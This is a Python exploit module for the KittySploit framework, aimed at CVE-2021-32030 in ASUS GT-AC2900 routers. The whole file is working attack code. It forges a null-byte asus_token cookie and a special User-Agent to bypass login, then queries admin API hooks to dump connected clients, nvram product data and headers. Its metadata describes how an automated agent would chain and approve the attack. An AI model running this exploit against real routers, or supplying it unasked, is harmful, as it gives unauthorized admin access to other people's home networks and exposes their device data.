ASUS GT-AC2900 Auth Bypass (CVE-2021-32030)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ASUS GT-AC2900 null-byte auth bypass (CVE-2021-32030)."""

import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'ASUS GT-AC2900 Auth Bypass (CVE-2021-32030)',
        'description': (
            'Exploits CVE-2021-32030 in ASUS GT-AC2900: asus_token null-byte cookie with '
            'asusrouter User-Agent grants unauthenticated admin API access.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-32030'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-32030'],
        'tags': ['asus', 'router', 'auth-bypass', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['privilege_escalation'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['admin_surface'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_32030_detect']},
        },
    }

    def _headers(self) -> dict:
        return {
            'User-Agent': 'asusrouter--',
            'Cookie': 'asus_token=\0Invalid; clickedItem_tab=0',
        }

    def check(self):
        r = self.http_request(
            method='GET',
            path='/appGet.cgi?hook=get_cfg_clientlist()',
            headers=self._headers(),
            allow_redirects=False,
        )
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and all(m in body for m in ('get_cfg_clientlist', 'alias')):
            return {'vulnerable': True, 'reason': 'ASUS auth bypass confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'ASUS bypass failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('ASUS GT-AC2900 not vulnerable')
            return False
        for hook in (
            'get_cfg_clientlist()',
            'nvram_get(productid)',
            'get_all_header()',
        ):
            r = self.http_request(
                method='GET',
                path=f'/appGet.cgi?hook={hook}',
                headers=self._headers(),
                allow_redirects=False,
            )
            if r and r.text:
                print_success(f'hook={hook}')
                try:
                    print_status(json.dumps(json.loads(r.text), indent=2)[:2000])
                except json.JSONDecodeError:
                    print_status(r.text[:1500])
        return True